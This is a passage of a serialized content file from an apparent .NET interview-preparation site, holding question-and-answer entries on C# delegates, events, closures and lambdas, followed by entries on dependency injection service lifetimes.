\u002F\u002F 5\nConsole.WriteLine(flag());       \u002F\u002F true or false\n\n\u002F\u002F Predicate\u003CT> — equivalent to Func\u003CT, bool>:\nPredicate\u003Cint> isEven = n => n % 2 == 0;\nConsole.WriteLine(isEven(4)); \u002F\u002F True\nConsole.WriteLine(isEven(7)); \u002F\u002F False\n\n\u002F\u002F List.FindAll accepts Predicate\u003CT>:\nvar evens = new List\u003Cint> { 1, 2, 3, 4, 5 }.FindAll(isEven); \u002F\u002F [2, 4]\n```\n\n**Rule of thumb:** Use `Action` for callbacks that don't return a value, `Func`\nfor callbacks that produce a result. Use `Predicate` only when APIs require it\n(e.g., `List\u003CT>.FindAll`) — otherwise `Func\u003CT, bool>` is equivalent.\n",{"id":787,"difficulty":96,"q":788,"a":789},"multicast-delegate","What is a multicast delegate and how does it work?","A **multicast delegate** is a delegate that holds references to **more than one**\nmethod. All C# delegates are inherently multicast. Methods are combined with `+=`\nand removed with `-=`. When invoked, each method in the invocation list is called\nin order.\n\n```csharp\nAction\u003Cstring> logger = msg => Console.WriteLine($\"[LOG] {msg}\");\nAction\u003Cstring> auditor = msg => Console.WriteLine($\"[AUDIT] {msg}\");\n\n\u002F\u002F Combine — multicast:\nAction\u003Cstring> combined = logger + auditor;\ncombined(\"User signed in\");\n\u002F\u002F [LOG] User signed in\n\u002F\u002F [AUDIT] User signed in\n\n\u002F\u002F += adds to the invocation list:\ncombined += msg => Console.WriteLine($\"[METRICS] {msg}\");\ncombined(\"Payment processed\");\n\u002F\u002F All three handlers run\n\n\u002F\u002F -= removes a specific delegate:\ncombined -= logger;\ncombined(\"Order placed\"); \u002F\u002F LOG handler no longer called\n\n\u002F\u002F Return value: only the LAST delegate's return value is captured\nFunc\u003Cint> d = () => 1;\nd += () => 2;\nd += () => 3;\nConsole.WriteLine(d()); \u002F\u002F 3 — only last return value\n```\n\n**Rule of thumb:** Multicast delegates are the mechanism behind events. Be aware\nthat if any handler throws an exception, subsequent handlers in the list will\nnot be called — iterate the invocation list manually if independent error handling\nper handler is needed.\n",{"id":791,"difficulty":96,"q":792,"a":793},"events-vs-delegates","What is the difference between a delegate and an event in C#?","An **event** is a field or property of a delegate type with restricted access:\nonly the declaring class can **invoke** it or **assign** (`=`) it. Subscribers\ncan only **add** (`+=`) or **remove** (`-=`) handlers. This encapsulation is\nthe key difference.\n\n```csharp\npublic class Button\n{\n    \u002F\u002F Delegate field — anyone can invoke or overwrite it:\n    public Action\u003Cstring>? ClickedDelegate;\n\n    \u002F\u002F Event — subscribers can only += or -=; only Button can invoke:\n    public event EventHandler\u003Cstring>? Clicked;\n\n    public void SimulateClick(string label)\n    {\n        ClickedDelegate?.Invoke(label); \u002F\u002F anyone can also call this\n        Clicked?.Invoke(this, label);   \u002F\u002F only Button can invoke the event\n    }\n}\n\nvar btn = new Button();\n\n\u002F\u002F Event — subscribers:\nbtn.Clicked += (sender, label) => Console.WriteLine($\"Clicked: {label}\");\n\n\u002F\u002F btn.Clicked(\"test\");           \u002F\u002F compile error — can't invoke from outside\n\u002F\u002F btn.Clicked = null;            \u002F\u002F compile error — can't assign from outside\n\n\u002F\u002F Delegate field — anyone can do anything:\nbtn.ClickedDelegate = msg => Console.WriteLine(msg); \u002F\u002F overwrites existing handlers!\nbtn.ClickedDelegate(\"hi\");       \u002F\u002F anyone can invoke\n```\n\n**Rule of thumb:** Always expose callbacks as `event` in public APIs. Use delegate\nfields only internally or in private helpers. Events prevent subscribers from\naccidentally overwriting each other's handlers.\n",{"id":795,"difficulty":96,"q":796,"a":797},"event-handler-pattern","What is the standard `EventHandler\u003CTEventArgs>` pattern and why is it preferred?","The .NET event convention is to use `EventHandler\u003CTEventArgs>` as the delegate\ntype, where `TEventArgs` inherits from `EventArgs`. The signature always has\n`(object sender, TEventArgs e)` so subscribers know who raised the event.\n\n```csharp\n\u002F\u002F Custom EventArgs:\npublic class OrderEventArgs : EventArgs\n{\n    public int OrderId { get; }\n    public decimal Amount { get; }\n    public OrderEventArgs(int id, decimal amount) => (OrderId, Amount) = (id, amount);\n}\n\npublic class OrderService\n{\n    \u002F\u002F Standard event declaration:\n    public event EventHandler\u003COrderEventArgs>? OrderPlaced;\n\n    \u002F\u002F Protected virtual raise method — allows subclasses to override:\n    protected virtual void OnOrderPlaced(OrderEventArgs e)\n        => OrderPlaced?.Invoke(this, e);\n\n    public void PlaceOrder(int id, decimal amount)\n    {\n        \u002F\u002F ... business logic ...\n        OnOrderPlaced(new OrderEventArgs(id, amount));\n    }\n}\n\n\u002F\u002F Subscriber:\nvar svc = new OrderService();\nsvc.OrderPlaced += (sender, e) =>\n    Console.WriteLine($\"Order {e.OrderId} placed for £{e.Amount}\");\n\nsvc.PlaceOrder(42, 99.99m); \u002F\u002F Order 42 placed for £99.99\n```\n\nWhy this pattern:\n- `sender` lets subscribers identify the source without coupling to a specific type.\n- `TEventArgs` is extensible — add new data without breaking existing subscribers.\n- `?.Invoke(this, e)` is thread-safe null check + invocation.\n\n**Rule of thumb:** Use `EventHandler\u003CTEventArgs>` for all public events. Use\n`EventArgs.Empty` if you have no data to send. Put the raise logic in a\n`protected virtual OnXxx` method to enable subclassing.\n",{"id":799,"difficulty":104,"q":800,"a":801},"lambda-expressions","What is a lambda expression in C# and how does it relate to delegates?","A **lambda expression** is an anonymous function defined inline with the `=>`\n(\"goes to\") syntax. The compiler converts it to a delegate instance (or an\nexpression tree when assigned to `Expression\u003CTDelegate>`).\n\n```csharp\n\u002F\u002F Expression lambda — single expression, implicit return:\nFunc\u003Cint, int> square = x => x * x;\nConsole.WriteLine(square(5)); \u002F\u002F 25\n\n\u002F\u002F Statement lambda — block body, explicit return:\nFunc\u003Cint, int, int> clamp = (value, max) =>\n{\n    if (value > max) return max;\n    return value;\n};\nConsole.WriteLine(clamp(15, 10)); \u002F\u002F 10\n\n\u002F\u002F Discards for unused parameters:\nAction\u003Cstring, int> print = (msg, _) => Console.WriteLine(msg);\n\n\u002F\u002F Captures local variables (closure):\nint multiplier = 3;\nFunc\u003Cint, int> tripler = n => n * multiplier;\nmultiplier = 5;\nConsole.WriteLine(tripler(4)); \u002F\u002F 20 — captures the VARIABLE, not the value!\n\n\u002F\u002F Expression tree (for LINQ providers like EF Core):\nExpression\u003CFunc\u003Cint, bool>> expr = x => x > 10;\n\u002F\u002F EF Core can translate this expression tree to SQL WHERE x > 10\n```\n\n**Rule of thumb:** Prefer lambda expressions over named private methods for short,\nsingle-use callbacks. Be aware of closure capture — the lambda captures the variable\nreference, not the value at the time of definition.\n",{"id":803,"difficulty":96,"q":804,"a":805},"closure-capture","What is a closure and what is the classic loop-capture bug?","A **closure** is a lambda (or anonymous method) that captures variables from its\nenclosing scope. The lambda holds a reference to the variable, not a copy of its\nvalue at the time the lambda is created.\n\n```csharp\n\u002F\u002F Classic loop-capture bug:\nvar actions = new List\u003CAction>();\nfor (int i = 0; i \u003C 3; i++)\n{\n    actions.Add(() => Console.WriteLine(i)); \u002F\u002F captures 'i' by reference\n}\nforeach (var a in actions) a(); \u002F\u002F prints 3, 3, 3 — loop is done, i == 3\n\n\u002F\u002F Fix: capture a copy inside the loop:\nvar actions2 = new List\u003CAction>();\nfor (int i = 0; i \u003C 3; i++)\n{\n    int copy = i;             \u002F\u002F new variable per iteration\n    actions2.Add(() => Console.WriteLine(copy));\n}\nforeach (var a in actions2) a(); \u002F\u002F prints 0, 1, 2 — correct!\n\n\u002F\u002F foreach loop does NOT have this issue in C# 5+:\nvar items = new[] { \"a\", \"b\", \"c\" };\nvar prints = items.Select(item => (Action)(() => Console.Write(item))).ToList();\nforeach (var p in prints) p(); \u002F\u002F a b c — each iteration creates a fresh variable\n```\n\nThe compiler generates a **display class** (a heap-allocated object) to hold\ncaptured variables so they outlive the scope they were declared in.\n\n**Rule of thumb:** When capturing a loop variable in a lambda, always copy it to a\nnew local variable first. With `foreach`, this is done for you since C# 5.\n",{"id":807,"difficulty":206,"q":808,"a":809},"delegate-covariance-contravariance","What are delegate covariance and contravariance?","**Covariance** means a delegate returning `Derived` can be used where `Base` is\nexpected (return type is more specific — safe because Derived IS-A Base).\n**Contravariance** means a delegate accepting `Base` can be used where a `Derived`\nparameter is expected (parameter type is more general — safe because the handler\naccepts anything including Derived).\n\n```csharp\nclass Animal { }\nclass Dog : Animal { }\n\n\u002F\u002F Covariance on return type (out):\n\u002F\u002F Func\u003CDog> is assignable to Func\u003CAnimal> because Dog : Animal\nFunc\u003CDog>    getDog    = () => new Dog();\nFunc\u003CAnimal> getAnimal = getDog; \u002F\u002F covariance — Func\u003CDog> → Func\u003CAnimal>\nAnimal a = getAnimal();\n\n\u002F\u002F Contravariance on parameter type (in):\n\u002F\u002F Action\u003CAnimal> is assignable to Action\u003CDog> because any Animal handler handles Dogs too\nAction\u003CAnimal> feedAnimal = (animal) => Console.WriteLine(\"feeding animal\");\nAction\u003CDog>    feedDog    = feedAnimal; \u002F\u002F contravariance — Action\u003CAnimal> → Action\u003CDog>\nfeedDog(new Dog()); \u002F\u002F safe — the handler accepts any Animal\n\n\u002F\u002F Built-in generic delegates are already covariant\u002Fcontravariant:\n\u002F\u002F Func\u003Cin T, out TResult>  — T is contravariant (in), TResult is covariant (out)\n\u002F\u002F Action\u003Cin T>             — T is contravariant\n```\n\n**Rule of thumb:** Covariance = return types can be *more specific* (out). Contravariance = parameter types can be *more general* (in). These match the Liskov Substitution Principle applied to delegate assignability.\n",{"id":811,"difficulty":206,"q":812,"a":813},"weak-events","What is the memory leak risk with events and how do you address it?","When an object subscribes to an event on a longer-lived publisher, the publisher\nholds a reference to the subscriber via the delegate invocation list. This prevents\nthe subscriber from being garbage collected even if no other references exist —\na classic **event memory leak**.\n\n```csharp\npublic class Publisher\n{\n    public event EventHandler? DataChanged;\n    \u002F\u002F Publisher holds references to ALL subscribers\n}\n\npublic class Subscriber\n{\n    public Subscriber(Publisher pub)\n    {\n        pub.DataChanged += OnDataChanged; \u002F\u002F pub holds reference to 'this'\n    }\n    private void OnDataChanged(object? sender, EventArgs e) { }\n}\n\nvar pub = new Publisher();\n{\n    var sub = new Subscriber(pub);\n    \u002F\u002F 'sub' goes out of scope — but pub.DataChanged still references it!\n}\n\u002F\u002F sub is NOT garbage collected — pub keeps it alive\nGC.Collect(); \u002F\u002F sub survives — memory leak!\n```\n\nSolutions:\n1. **Unsubscribe explicitly** (`-=`) in `Dispose()` or when done.\n2. **Weak event pattern** — use `WeakReference\u003CT>` or the WPF `WeakEventManager`.\n\n```csharp\npublic class Subscriber : IDisposable\n{\n    private readonly Publisher _pub;\n    public Subscriber(Publisher pub)\n    {\n        _pub = pub;\n        _pub.DataChanged += OnDataChanged;\n    }\n    private void OnDataChanged(object? sender, EventArgs e) { }\n    public void Dispose() => _pub.DataChanged -= OnDataChanged; \u002F\u002F unsubscribe!\n}\n```\n\n**Rule of thumb:** Always unsubscribe from events in `Dispose()` when the subscriber\nhas a shorter lifetime than the publisher. This is one of the most common sources\nof memory leaks in long-running .NET applications.\n",{"id":815,"difficulty":96,"q":816,"a":817},"observer-pattern","How do C# events implement the observer pattern, and what is `IObservable\u003CT>`?","C# events are a language-native implementation of the **observer pattern** — a\npublisher notifies multiple subscribers of state changes without coupling to them.\n`IObservable\u003CT>` \u002F `IObserver\u003CT>` (Reactive Extensions \u002F Rx.NET) is the richer,\ncomposable alternative for streaming data.\n\n```csharp\n\u002F\u002F Events — the built-in observer:\npublic class StockTicker\n{\n    public event EventHandler\u003Cdecimal>? PriceChanged;\n    public void SetPrice(decimal p) => PriceChanged?.Invoke(this, p);\n}\n\nvar ticker = new StockTicker();\nticker.PriceChanged += (_, price) => Console.WriteLine($\"Price: {price:C}\");\nticker.SetPrice(99.50m); \u002F\u002F Price: £99.50\n\n\u002F\u002F IObservable\u003CT> — composable push-based streams (Rx.NET):\nIObservable\u003Cdecimal> prices = Observable\n    .Interval(TimeSpan.FromSeconds(1))\n    .Select(_ => (decimal)Random.Shared.NextDouble() * 100);\n\nIDisposable sub = prices\n    .Where(p => p > 80)          \u002F\u002F filter\n    .Select(p => Math.Round(p, 2)) \u002F\u002F project\n    .Subscribe(\n        onNext:      p => Console.WriteLine($\"High price: {p}\"),\n        onError:     ex => Console.WriteLine($\"Error: {ex.Message}\"),\n        onCompleted: () => Console.WriteLine(\"Stream ended\"));\n\n\u002F\u002F Unsubscribe:\nsub.Dispose();\n```\n\n**Rule of thumb:** Use C# events for simple notification patterns within a component\nor between tightly related objects. Use `IObservable\u003CT>` \u002F Rx.NET when you need\ncomposable, filterable, time-based, or asynchronous event streams.\n",{"id":819,"difficulty":96,"q":820,"a":821},"func-composition","How do you compose delegates and functions in C# to build pipelines?","Because delegates are objects, you can combine them using higher-order functions —\nmethods that take or return delegates. This enables functional-style pipelines.\n\n```csharp\n\u002F\u002F Compose two Func\u003CT,T> transforms into one:\nstatic Func\u003CT, T> Compose\u003CT>(Func\u003CT, T> first, Func\u003CT, T> second)\n    => value => second(first(value));\n\nFunc\u003Cstring, string> trim   = s => s.Trim();\nFunc\u003Cstring, string> upper  = s => s.ToUpper();\nFunc\u003Cstring, string> exclaim = s => s + \"!\";\n\nvar pipeline = Compose(Compose(trim, upper), exclaim);\nConsole.WriteLine(pipeline(\"  hello  \")); \u002F\u002F \"HELLO!\"\n\n\u002F\u002F Delegate chaining — multicast style for void pipelines:\nAction\u003Cstring> log    = msg => Console.WriteLine($\"[LOG] {msg}\");\nAction\u003Cstring> audit  = msg => Console.WriteLine($\"[AUDIT] {msg}\");\nAction\u003Cstring> notify = log + audit; \u002F\u002F multicast\nnotify(\"User deleted\"); \u002F\u002F both run in order\n\n\u002F\u002F LINQ uses Func\u003CT,T> pipeline extensively:\nvar result = Enumerable.Range(1, 10)\n    .Where(n => n % 2 == 0)   \u002F\u002F Func\u003Cint,bool>\n    .Select(n => n * n)        \u002F\u002F Func\u003Cint,int>\n    .Aggregate((a, b) => a + b); \u002F\u002F Func\u003Cint,int,int>\nConsole.WriteLine(result); \u002F\u002F 4+16+36+64+100 = 220\n```\n\n**Rule of thumb:** Build delegate pipelines when the same transformation sequence\napplies to multiple inputs or must be configured at runtime. For simple one-off\ntransformations, inline lambdas are clearer than a composed pipeline.\n",{"id":823,"difficulty":104,"q":824,"a":825},"anonymous-methods","What are anonymous methods and how do they differ from lambda expressions?","**Anonymous methods** (introduced in C# 2) are inline delegate implementations\nwritten with the `delegate` keyword. Lambda expressions (C# 3) are the modern\nreplacement — shorter and more powerful.\n\n```csharp\n\u002F\u002F Anonymous method (C# 2 syntax):\nFunc\u003Cint, int> squareOld = delegate(int x) { return x * x; };\nAction\u003Cstring> printOld  = delegate(string msg) { Console.WriteLine(msg); };\n\n\u002F\u002F Lambda expression (C# 3 — preferred):\nFunc\u003Cint, int> squareNew = x => x * x;\nAction\u003Cstring> printNew  = msg => Console.WriteLine(msg);\n\n\u002F\u002F Anonymous method unique feature: parameter list can be omitted\n\u002F\u002F when you don't need the parameters (lambdas cannot do this):\nbutton.Click += delegate { Console.WriteLine(\"Clicked!\"); };\n\u002F\u002F vs lambda (must declare params):\nbutton.Click += (sender, e) => Console.WriteLine(\"Clicked!\");\n\n\u002F\u002F Both are closures — both capture outer variables:\nint counter = 0;\nAction inc1 = delegate { counter++; };\nAction inc2 = () => counter++;\ninc1(); inc2();\nConsole.WriteLine(counter); \u002F\u002F 2\n```\n\n**Rule of thumb:** Always prefer lambda expressions over anonymous methods. The only\ncase where the `delegate` syntax is still useful is when you want to subscribe to an\nevent ignoring all parameters without declaring them.\n",{"id":827,"difficulty":206,"q":828,"a":829},"expression-trees","What is an expression tree and how does it differ from a delegate?","A **delegate** holds compiled executable code. An **expression tree**\n(`Expression\u003CTDelegate>`) holds a data structure describing the *code as data* —\na tree of nodes representing operations, parameters, and constants. LINQ providers\nlike Entity Framework Core translate expression trees to SQL rather than executing them as .NET code.\n\n```csharp\n\u002F\u002F Delegate — compiled, executable:\nFunc\u003Cint, bool> isEvenDelegate = x => x % 2 == 0;\nbool result = isEvenDelegate(4); \u002F\u002F runs .NET IL directly\n\n\u002F\u002F Expression tree — data structure, inspectable:\nExpression\u003CFunc\u003Cint, bool>> isEvenExpr = x => x % 2 == 0;\n\u002F\u002F NOT executable directly until compiled:\nFunc\u003Cint, bool> compiled = isEvenExpr.Compile();\nbool result2 = compiled(4); \u002F\u002F now runs\n\n\u002F\u002F EF Core translates the expression tree to SQL:\nvar users = dbContext.Users\n    .Where(u => u.Age > 30)  \u002F\u002F Expression\u003CFunc\u003CUser, bool>> — sent to DB as SQL\n    .ToList();\n\n\u002F\u002F Building expression trees dynamically:\nParameterExpression param  = Expression.Parameter(typeof(int), \"x\");\nBinaryExpression    greaterThan = Expression.GreaterThan(param, Expression.Constant(10));\nExpression\u003CFunc\u003Cint, bool>> dynamic = Expression.Lambda\u003CFunc\u003Cint, bool>>(greaterThan, param);\nConsole.WriteLine(dynamic.Compile()(15)); \u002F\u002F True\nConsole.WriteLine(dynamic.Compile()(5));  \u002F\u002F False\n\n\u002F\u002F Inspecting the tree:\nvar body = (BinaryExpression)isEvenExpr.Body;\nConsole.WriteLine(body.NodeType); \u002F\u002F Modulo (then Equal)\n```\n\n**Rule of thumb:** Use `Func\u003CT>` delegates for in-process logic. Use\n`Expression\u003CFunc\u003CT>>` when the logic must be *translated* to another query language\n(SQL, OData, LDAP). Never pass a lambda as `Expression\u003C>` to a non-LINQ API — it will\nbe compiled to a delegate and the expression tree is wasted.\n",{"id":831,"difficulty":206,"q":832,"a":833},"delegate-thread-safety","How do you raise an event safely from multiple threads?","Event invocation has a classic race condition: checking the delegate for null and\nthen invoking it is not atomic. A subscriber can unsubscribe between the null check\nand the call, causing a `NullReferenceException`.\n\n```csharp\npublic class Sensor\n{\n    public event EventHandler\u003Cdouble>? ReadingChanged;\n\n    \u002F\u002F BAD — race condition: ReadingChanged may become null between check and invoke\n    private void RaiseBad(double value)\n    {\n        if (ReadingChanged != null)          \u002F\u002F another thread may -= here\n            ReadingChanged(this, value);     \u002F\u002F NullReferenceException possible!\n    }\n\n    \u002F\u002F GOOD — copy the delegate reference first (delegates are immutable):\n    private void RaiseGood(double value)\n    {\n        EventHandler\u003Cdouble>? handler = ReadingChanged; \u002F\u002F atomic read\n        handler?.Invoke(this, value); \u002F\u002F safe: handler is a local snapshot\n    }\n\n    \u002F\u002F IDIOMATIC — ?.Invoke is equivalent and compiler-recommended:\n    private void RaiseIdiomatic(double value)\n        => ReadingChanged?.Invoke(this, value); \u002F\u002F thread-safe null check + invoke\n}\n```\n\nWhy `?.Invoke` is safe: the `?.` operator evaluates the left side once and stores\nthe result. Even if the event is unsubscribed on another thread after the null check,\nthe local copy of the delegate is still valid (delegates are **immutable reference types**).\n\n```csharp\n\u002F\u002F Note: individual handler exceptions are NOT isolated —\n\u002F\u002F if one handler throws, the rest of the invocation list is skipped.\n\u002F\u002F For independent handler execution, iterate the list manually:\nforeach (Delegate d in (ReadingChanged?.GetInvocationList() ?? []))\n{\n    try { d.DynamicInvoke(this, value); }\n    catch (Exception ex) { logger.LogError(ex, \"Handler failed\"); }\n}\n```\n\n**Rule of thumb:** Always raise events using `?.Invoke(this, args)` to avoid the\nnull-check race condition. Delegates are immutable, so the local copy captured by\n`?.` is stable even if subscribers change concurrently.\n",{"id":835,"difficulty":96,"q":836,"a":837},"delegate-vs-interface","When should you use a delegate instead of a single-method interface?","Both delegates and single-method interfaces define a contract for a callable. The\nchoice comes down to flexibility, allocation cost, and expressiveness.\n\n```csharp\n\u002F\u002F Interface approach — requires a named class to implement it:\npublic interface ITransformer\n{\n    string Transform(string input);\n}\n\npublic class UpperCaseTransformer : ITransformer\n{\n    public string Transform(string input) => input.ToUpper();\n}\n\n\u002F\u002F Delegate approach — any matching lambda or method works without a class:\npublic class Pipeline\n{\n    private readonly Func\u003Cstring, string> _transform;\n    public Pipeline(Func\u003Cstring, string> transform) => _transform = transform;\n    public string Run(string input) => _transform(input);\n}\n\n\u002F\u002F Caller: inline lambda — no class required\nvar pipe = new Pipeline(s => s.ToUpper());\nConsole.WriteLine(pipe.Run(\"hello\")); \u002F\u002F HELLO\n\n\u002F\u002F Multicast: delegates support multiple handlers; interfaces do not\nFunc\u003Cstring, string> chain = s => s.Trim();\n\u002F\u002F Delegates are combined with multicast; interfaces cannot stack\n\u002F\u002F (you would need a composite pattern for interfaces)\n\n\u002F\u002F Interface advantages:\n\u002F\u002F - Can carry state naturally (fields on the implementing class)\n\u002F\u002F - Supports multiple methods in one contract\n\u002F\u002F - Works better with DI containers (registered by interface type)\n\u002F\u002F - Easier to mock in unit tests\n\n\u002F\u002F Delegate advantages:\n\u002F\u002F - No ceremony: any lambda or method group works\n\u002F\u002F - Multicast: combine multiple handlers with +=\n\u002F\u002F - Lower allocation for short-lived callbacks (no class required)\n```\n\n**Rule of thumb:** Use a **delegate** (`Func` \u002F `Action` \u002F custom) for single-operation\ncallbacks that are short-lived or supplied inline. Use an **interface** when the\ncontract has multiple methods, requires DI registration, or implementations carry\nsignificant state. Prefer `Func` \u002F `Action` over declaring a custom single-method\ninterface in library code.\n",{"description":94},"C# delegates and events interview questions — Action, Func, multicast delegates, the EventHandler pattern, closures, and memory leaks.","dotnet\u002Fcsharp-core\u002Fdelegates-events","Delegates & Events","vjfLuwId569KyJ1zZtBos26mk9kLg1SYxX01Kuta2vY",{"id":844,"title":845,"body":846,"description":94,"difficulty":96,"extension":97,"framework":10,"frameworkSlug":8,"meta":850,"navigation":99,"order":29,"path":851,"questions":852,"questionsCount":163,"related":164,"seo":913,"seoDescription":914,"stem":915,"subtopic":845,"topic":46,"topicSlug":48,"updated":168,"__hash__":916},"qa\u002Fdotnet\u002Fdependency-injection\u002Fservice-lifetimes.md","Service Lifetimes",{"type":91,"value":847,"toc":848},[],{"title":94,"searchDepth":29,"depth":29,"links":849},[],{},"\u002Fdotnet\u002Fdependency-injection\u002Fservice-lifetimes",[853,857,861,865,869,873,877,881,885,889,893,897,901,905,909],{"id":854,"difficulty":104,"q":855,"a":856},"three-lifetimes","What are the three service lifetimes in .NET Core DI and when do you use each?","The DI container supports three lifetimes that control when a service instance is\ncreated and how long it lives.\n\n```csharp\n\u002F\u002F Singleton — one instance for the entire application lifetime:\nbuilder.Services.AddSingleton\u003CICache, MemoryCache>();\n\u002F\u002F Same instance returned for every request and every constructor injection.\n\u002F\u002F Use for: stateless or thread-safe services, expensive-to-create objects,\n\u002F\u002F in-memory caches, configuration wrappers, HttpClient via IHttpClientFactory.\n\n\u002F\u002F Scoped — one instance per HTTP request (or per explicit scope):\nbuilder.Services.AddScoped\u003CIOrderService, OrderService>();\n\u002F\u002F Same instance within a single request; new instance for the next request.\n\u002F\u002F Use for: DbContext, unit-of-work objects, per-request state like current user.\n\n\u002F\u002F Transient — new instance every time the service is resolved:\nbuilder.Services.AddTransient\u003CIEmailValidator, EmailValidator>();\n\u002F\u002F New instance injected into every constructor and every GetService\u003CT>() call.\n\u002F\u002F Use for: lightweight stateless services, or services with non-thread-safe state.\n```\n\nQuick reference:\n\n| Lifetime | Created | Disposed | Shared across requests? |\n|---|---|---|---|\n| Singleton | App start | App shutdown | Yes |\n| Scoped | Per request | End of request | Within one request |\n| Transient | Per resolve | End of scope | Never |\n\n**Rule of thumb:** Default to Scoped for application services. Use Singleton only for\nthread-safe, expensive, or shared state. Use Transient for lightweight stateless helpers.\n",{"id":858,"difficulty":104,"q":859,"a":860},"singleton-details","When should you use Singleton lifetime and what are the thread-safety requirements?","**Singleton** services are instantiated once and shared across all requests for the\nlifetime of the application. Because multiple concurrent requests share the same instance,\nit **must be thread-safe**.\n\n```csharp\n\u002F\u002F Good singleton — immutable or thread-safe state:\nbuilder.Services.AddSingleton\u003CIConfiguration>(); \u002F\u002F already singleton in ASP.NET Core\nbuilder.Services.AddSingleton\u003CIHttpClientFactory>(); \u002F\u002F thread-safe, manages pool\nbuilder.Services.AddSingleton\u003CIMemoryCache, MemoryCache>(); \u002F\u002F thread-safe\n\n\u002F\u002F Good: expensive-to-create object shared across requests:\nbuilder.Services.AddSingleton\u003CIConnectionMultiplexer>(sp =>\n    ConnectionMultiplexer.Connect(sp.GetRequiredService\u003CIConfiguration>()[\"Redis\"]));\n\n\u002F\u002F Bad singleton — mutable state without synchronization:\npublic class RequestCounter \u002F\u002F registered as Singleton\n{\n    private int _count; \u002F\u002F shared across all requests — race condition!\n    public void Increment() => _count++; \u002F\u002F not thread-safe\n}\n\n\u002F\u002F Fix: use thread-safe primitives:\npublic class RequestCounter\n{\n    private long _count;\n    public void Increment() => Interlocked.Increment(ref _count);\n    public long Get() => Interlocked.Read(ref _count);\n}\n\n\u002F\u002F Bad: singleton holding a scoped dependency (captive dependency):\npublic class PricingEngine \u002F\u002F Singleton\n{\n    public PricingEngine(AppDbContext db) { } \u002F\u002F AppDbContext is Scoped — BUG\n}\n```\n\n**Rule of thumb:** If a singleton holds shared mutable state, protect it with\n`Interlocked`, `lock`, or concurrent collections. Never let a singleton hold a\nScoped service — that creates a captive dependency.\n",{"id":862,"difficulty":104,"q":863,"a":864},"scoped-details","How does Scoped lifetime work in ASP.NET Core and what is the \"scope\" boundary?","**Scoped** services get one instance per DI **scope**. In ASP.NET Core, the framework\nautomatically creates a scope for each HTTP request and disposes it when the response\ncompletes. Two injections of the same scoped service within one request share the same\ninstance.\n\n```csharp\n\u002F\u002F AppDbContext is the canonical scoped service — one connection per request:\nbuilder.Services.AddScoped\u003CAppDbContext>();\n\n\u002F\u002F Both inject the same instance within a single request:\npublic class OrderService\n{\n    public OrderService(AppDbContext db) { _db = db; }\n}\n\npublic class InventoryService\n{\n    public InventoryService(AppDbContext db) { _db = db; }\n    \u002F\u002F Same AppDbContext instance as OrderService within this request\n}\n\n\u002F\u002F Creating a scope manually (needed in background services, tests, CLI):\nusing (var scope = app.Services.CreateScope())\n{\n    var db = scope.ServiceProvider.GetRequiredService\u003CAppDbContext>();\n    await db.Database.MigrateAsync(); \u002F\u002F own scope, own connection\n} \u002F\u002F AppDbContext disposed here\n\n\u002F\u002F HttpContext.RequestServices exposes the request scope:\npublic class MyController : ControllerBase\n{\n    [HttpGet]\n    public IActionResult Get()\n    {\n        \u002F\u002F Resolved from the request scope (same as constructor injection):\n        var svc = HttpContext.RequestServices.GetRequiredService\u003CIOrderService>();\n        return Ok();\n    }\n}\n```\n\n**Rule of thumb:** Scope boundaries are your unit-of-work boundary. Register `DbContext`\nand anything that wraps a database connection as Scoped to get automatic per-request\nisolation and disposal.\n",{"id":866,"difficulty":104,"q":867,"a":868},"transient-details","When should you use Transient lifetime and what are its trade-offs?","**Transient** services are created fresh on every resolve — every constructor injection\nand every `GetService\u003CT>()` call yields a new instance. They're disposed at the end of\nthe enclosing scope (usually the HTTP request).\n\n```csharp\n\u002F\u002F Transient registration:\nbuilder.Services.AddTransient\u003CIEmailValidator, RegexEmailValidator>();\n\n\u002F\u002F Demonstration — each injection gets its own instance:\npublic class SignupService\n{\n    private readonly IEmailValidator _v1;\n    private readonly IEmailValidator _v2;\n\n    public SignupService(IEmailValidator v1, IEmailValidator v2)\n    {\n        \u002F\u002F v1 and v2 are different RegexEmailValidator instances\n        Console.WriteLine(ReferenceEquals(v1, v2)); \u002F\u002F false\n    }\n}\n\n\u002F\u002F Trade-offs:\n\u002F\u002F Safe for non-thread-safe objects — each consumer gets its own copy\n\u002F\u002F Good for lightweight, stateless helpers\n\u002F\u002F Can create many instances per request — avoid for expensive-to-construct types\n\u002F\u002F If the service holds resources (connections, file handles), disposal overhead\n\u002F\u002F multiplies with each resolve\n\n\u002F\u002F IDisposable transients — the scope owns disposal:\npublic class CsvWriter : IDisposable\n{\n    private readonly StreamWriter _writer;\n    public CsvWriter() => _writer = new StreamWriter(\"output.csv\");\n    public void Dispose() => _writer.Dispose();\n}\n\u002F\u002F Disposed at end of request scope — the container tracks IDisposable transients\n```\n\n**Rule of thumb:** Use Transient for cheap, stateless, non-thread-safe services.\nPrefer Singleton for stateless thread-safe services — Transient's per-resolve cost\nadds up fast in high-throughput endpoints.\n",{"id":870,"difficulty":96,"q":871,"a":872},"captive-dependency","What is a captive dependency and how do you detect and fix it?","A **captive dependency** occurs when a service with a longer lifetime holds a reference\nto a service with a shorter lifetime. The short-lived service effectively becomes\nlong-lived — living beyond its intended scope and potentially sharing state across\nrequests.\n\n```csharp\n\u002F\u002F Captive dependency: Singleton captures a Scoped service\npublic class ProductCache  \u002F\u002F Singleton\n{\n    private readonly AppDbContext _db; \u002F\u002F Scoped — lives per request\n\n    public ProductCache(AppDbContext db)\n    {\n        _db = db; \u002F\u002F db now lives forever — same instance across ALL requests\n        \u002F\u002F Any request-specific state in db leaks across requests → data corruption\n    }\n}\n\n\u002F\u002F Detection — enable ValidateScopes in development:\nbuilder.Host.UseDefaultServiceProvider(options =>\n{\n    options.ValidateScopes = app.Environment.IsDevelopment();\n});\n\u002F\u002F Without this, the bug silently causes intermittent data corruption in production.\n\n\u002F\u002F Fix 1: resolve scoped service per operation via IServiceScopeFactory:\npublic class ProductCache\n{\n    private readonly IServiceScopeFactory _factory;\n    public ProductCache(IServiceScopeFactory factory) => _factory = factory;\n\n    public async Task RefreshAsync()\n    {\n        using var scope = _factory.CreateScope();\n        var db = scope.ServiceProvider.GetRequiredService\u003CAppDbContext>();\n        _products = await db.Products.ToListAsync();\n        \u002F\u002F scope and db disposed at end of using block\n    }\n}\n\n\u002F\u002F Fix 2: change the lifetime — if the class truly needs Scoped, register it Scoped:\nbuilder.Services.AddScoped\u003CProductCache>();\n\u002F\u002F Now it gets a fresh AppDbContext per request automatically\n```\n\n**Rule of thumb:** Captive dependencies are the most dangerous DI lifetime bug —\nthey corrupt request state silently. Enable `ValidateScopes` in development to catch\nthem at 